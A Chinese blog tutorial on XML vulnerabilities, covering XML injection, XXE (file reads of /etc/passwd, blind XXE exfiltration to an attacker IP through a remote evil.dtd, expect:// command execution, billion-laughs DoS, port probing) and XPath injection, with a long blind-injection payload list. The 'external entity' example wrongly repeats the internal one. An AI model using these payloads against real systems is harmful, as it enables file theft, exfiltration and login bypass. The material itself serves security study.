XML漏洞

XML漏洞

XML格式

XML被设计用来传输和存储数据,其焦点是数据的内容。

首先了解XML(可扩展标记语言) 基本格式(内部DTD)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?xml version="1.0"?>                              <!--xml文件的声明-->
<!DOCTYPE note [ <!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)> <!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)> <!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)> <!--定义from元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)> <!--定义head元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)> <!--定义body元素为”#PCDATA”类型-->
]>
<note>
<to>Y0u</to>
<from>@re</from>
<head>v3ry</head>
<body>g00d!</body>
</note>

总的来说

第一部分:XML声明

第二部分:文档类型定义DTD //漏洞一般在此出现

第三部分:文档元素

DTD

DTD:用来约束XML文档定义语义约束分类

内部DTD

外部DTD

1
2
3
4
5
6
7
8
9
10
11
12
<!DOCTYPE 根元素名称 SYSTEM "dtd路径">

example:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root-element SYSTEM "test.dtd">
<note>
<to>Y0u</to>
<from>@re</from>
<head>v3ry</head>
<body>g00d!</body>
</note>

公共DTD

1
<!DOCTYPE 根元素 PUBLIC "DTD名称" "DTD文档的URL">

DTD实体

实体是用于定义引用普通文本或特殊字符的快捷方式的变量。

按实体有无参分类

一般实体

1
2
3
4
声明
<!ENTITY 实体名称 "实体内容">
引用方法
&实体名称;

参数实体

1
2
3
4
声明
<!ENTITY % 实体名称 "实体内容">
引用方法
%实体名称;

按实体使用方式分类

1. 内部实体
1
2
3
4
5
6
7
8
9
<!ENTITY 实体名称 "实体的值">

example:
<?xml version = "1.0" encoding = "utf-8"?>
<!DOCTYPE test [
<!ENTITY writer "Dawn">
<!ENTITY copyright "Copyright W3School.com.cn">
]>
<test>&writer;©right;</test>
  1. 外部实体
1
2
3
4
5
6
7
8
9
<!ENTITY 实体名称 "实体的值">

example:
<?xml version = "1.0" encoding = "utf-8"?>
<!DOCTYPE test [
<!ENTITY writer "Dawn">
<!ENTITY copyright "Copyright W3School.com.cn">
]>
<test>&writer;©right;</test>

根据不同语言有以下可支持的协议:

img

XML注入

原理

与sql闭合类似,闭合标签达到更改、添加数据的效果

前提条件

1. 用户能够控制数据的输入
1. 程序有拼凑的数据

example

test.xml

1
2
3
4
5
6
7
8
9
10
11
<?xml version="1.0" encoding="utf-8"?>
<manager>
<admin id="1">
<username>admin</username>
<password>admin</password>
</admin>
<admin id="2">
<username>zhangsa</username>
<password>123456</password>
</admin>
</manager>

注入payload:

1
123456</password></admin><admin id="3"><name>hack</name><password>hacker</password></admin>

server接收结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?xml version="1.0" encoding="utf-8"?>
<manager>
<admin id="1">
<username>admin</username>
<password>admin</password>
</admin>
<admin id="2">
<username>zhangsa</username>
<password>123456</password>
</admin>
<admin id="3">
<username>hack</username>
<password>hacker</password>
</admin>
</manager>

这样就通过XML注入添加了一个名为hack,密码为hacker的管理员账户。 XML注入两大要素:标签闭合和获取XML表结构

XXE漏洞

原理

外部引用可以支持http,file,ftp等协议 如果一个接口支持接收xml数据,且没有对xml数据做任何安全上的措施,就可能导致XXE漏洞 攻击者可以构造一个XML文档,文档里引用外部实体通过协议进行读取文件等操作 例如:

1
2
3
4
5
6
7
8
9
10
11
12
13
一般实体+外部实体
<?xml version = "1.0" encoding = "utf-8"?>
<!DOCTYPE test [
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<test>&file;</test>

参数实体+外部实体
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "file:///etc/passwd">
%file;
]>

利用条件

php中解析xml用的是libxml库

版本<=2.9.0的php中

simplexml_load_string()函数将正确的XML字符转化为php中的SimpleXMLElement对象

而>2.9.0的,默认是禁止解析xml外部实体内容的

XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致攻击者可以构造一个恶意的XML

1
2
3
4
5
6
/etc/hosts #主机名和ip配置文件
/proc/net/arp #流量包的信息
/proc/net/tcp #活动连接的信息
/proc/net/udp #活动连接的信息
/proc/net/dev #提供给用户读取或更改网络适配器及统计信息
/proc/net/fib_trie #路由缓存

XXE攻击类别及实例

  1. 有回显

可以用下面的两种方式:

  • 直接使用外部实体调用file://php://filter/read=convert.base64-encode/resource=等函数去读取本地文件
1
2
3
4
5
<?xml version = "1.0" encoding = "utf-8"?>
<!DOCTYPE any [
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<test>&file;</test>
  • 将外部实体引用的 URL 设置到本地服务器,本地构建恶意 dtd 文件,远程注入
1
2
3
4
5
6
7
8
<?xml version = "1.0" encoding = "utf-8"?>
<!DOCTYPE any [
<!ENTITY file SYSTEM "http://xxx.xxx.xxx/evil.dtd">
%file;]>
<test>&evil;</test>

//外部dtd内容
<!ENTITY evil SYSTEM "file:///etc/passwd" >
  1. 无回显

Blind XXE外带,建立dtd文件进行远程协议调用文件

Blind XXE原理

先在受害机调用%dtd,请求远程服务器(攻击服务器)上的evil.dtd

再调用evil.dtd中的%file%file获取受害机上面的敏感文件,然后将%file的返回结果传到%send

然后受害机调用%send把读取到的数据发送到远程服务器上。

假设攻击机ip为:192.168.201.128

vps上部署evil.dtd

1
<!ENTITY % payload "<!ENTITY % send SYSTEM 'http://192.168.201.128/?content=%file;'>"> %payload;

payload

1
2
3
4
5
6
7
<?xml version="1.0"?>
<!DOCTYPE test[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=D:/qwzf.txt">
<!ENTITY % dtd SYSTEM "http://192.168.201.128/evil.dtd">
%dtd;
%send;
]>

进行XXE攻击后,服务器会把文件内容发送到攻击者服务器(apache日志记录)

攻击机上:tail -f /var/log/apache2/access.log

特殊协议攻击

执行系统命令

条件:在安装expect扩展的PHP环境

1
2
3
4
5
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<root><name>&xxe;</name></root>

ddos

1
2
3
4
5
6
7
8
9
10
11
12
<?xml version="1.0"?>
<!DOCTYPE lolz [<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

探测内网端口

1
2
3
4
5
6
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "http://127.0.0.1:80" >
]>
<root><name>&xxe;</name></root>

xpath注入

原理

XPath 注入利用 XPath 解析器的松散输入和容错特性,能够在URL、表单或其它信息上附带恶意的XPath 查询代码,以获得高权限信息的访问权,类似于SQL注入。

注入对象是一个存储数据的XML文件。因为xpath不存在访问控制,所以不会遇到许多在SQL注入中经常遇到的访问限制。 注入出现的位置也就是cookieheadersrequestparameters/input

example

test.xml(用于存储username和password)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?xml version="1.0" encoding="UTF-8"?>
<root>
<users>
<user>
<id>1</id>
<username>test1</username>
<password>test1</password>
</user>
<user>
<id>2</id>
<username>test2</username>
<password>test2</password>
</user>
</users>
</root>

test.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
$xml=simplexml_load_file('test.xml');
$name=$_GET['name'];
$pwd=$_GET['pwd'];
$query="/root/users/user[username/text()='".$name."' and password/text()='".$pwd."']";
echo $query;
$result=$xml->xpath($query);
if($result){
echo '<h2>Welcome</h2>';
foreach($result as $key=>$value){
echo '<br />ID:'.$value->id;
echo '<br />Username:'.$value->username;
}
}?>

simplexml_load_file,加载xml文件

正常查询:?name=test1&pwd=test1

server端语句:/root/users/user[username/text()='test1'and password/text()='test1']

注入语句:?name=' or 1=1 or ''='&pwd=1

server语句:/root/users/user[username/text()='' or 1=1 or ''='' and password/text()='1']

注入payload

一般注入形式

1
2
3
4
5
6
//原php代码中的查询语句
$query="user/username[@name='".$user."']";
//构造payload1:user1' or 1=1 or ''='
$query="user/username[@name='user1' or 1=1 or ''='']";
//构造payload2:']|//*|//*['
$query="user/username[@name='user1']|//*|//*['']";

盲注

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
链:/ -> root -> user/user -> username/email/password
判断根节点下的节点数
'or count(/)=1 or ''=' //根节点数量为1
'or count(/*)=1 or ''=' //根节点下只有一个子节点
判断根节点下节点长度
'or string-length(name(/*[1]))=1 or ''=' //判断根节点下的节点长度为1
判断根节点下节点名称
'or substring(name(/*[1]), 1, 1)='r' or ''=' //猜根节点下的节点名称
'or substring(name(/*[1]), 2, 1)='o' or ''='
...
假设根节点下子节点名称为root,判断子节点下的的节点
'or count(/root)=1 or ''=' //root节点数量为1
'or count(/root/user/*)>1 or ''=' //root下有两个或以上节点
'or string-length(name(/root/*[1]))=4 or ''=' //判断第一个子节点长度为4
猜解root下的节点名称:
'or substring(name(/root/*[1]), 1, 1)='u' or ''=' //猜root节点下的第一个节点名称
'or substring(name(/root/*[1]), 2, 1)='s' or ''='
...
假设root下节点名称为user
'or count(/root/user)=2 or ''=' //user节点有两个,则可以猜测出root节点结构,root下两个节点,均为user节点
'or substring(name(/root/user[position()=1]/*[1]), 1, 1)='u' or ''='
'or substring(name(/root/user[position()=1]/*[1]), 2, 1)='s' or ''='
...
判断user节点的子节点长度
'or string-length(name(/root/user[position()=1]/*[1]))=8 or ''=' //user下第一个子节点长名称度为8
判断user节点的下子节点名称
'or substring(name(/root/user[position()=1]/*[1]), 1, 1)='u' or ''=' //猜user节点下的第一个节点名称
...
最终所有子节点值验证如下:
'or substring(name(/root/user[position()=1]/*[1]), 1)='username' or ''='
'or substring(name(/root/user[position()=1]/*[2]), 1)='email' or ''='
'or substring(name(/root/user[position()=1]/*[3]), 1)='password' or ''='
猜有无子节点
'or count(/root/user[position()=1]/username/*)>0 or ''='
'or count(/root/user[position()=1]/email/*)>0 or ''='
'or count(/root/user[position()=1]/accounttype/*)>0 or ''='
'or count(/root/user[position()=1]/username/password/*)>0 or ''='
false则没有节点
读最后节点长度
'or string-length((//user[position()=1]/username[position()=1]))=6 or ''=' //第一个user下username长度
读值
'or substring((//user[position()=1]/username[position()=1]),1,1)='f' or ''='
'or substring((//user[position()=1]/username[position()=1]),2,1)='l' or ''='
'or substring((//user[position()=1]/username[position()=1]),3,1)='a' or ''='
'or substring((//user[position()=1]/username[position()=1]),4,1)='g' or ''='
...

更多参考

xpath盲注脚本


XML漏洞
http://example.com/2023/01/01/XML漏洞/
作者
dddkia
发布于
2023年1月1日
许可协议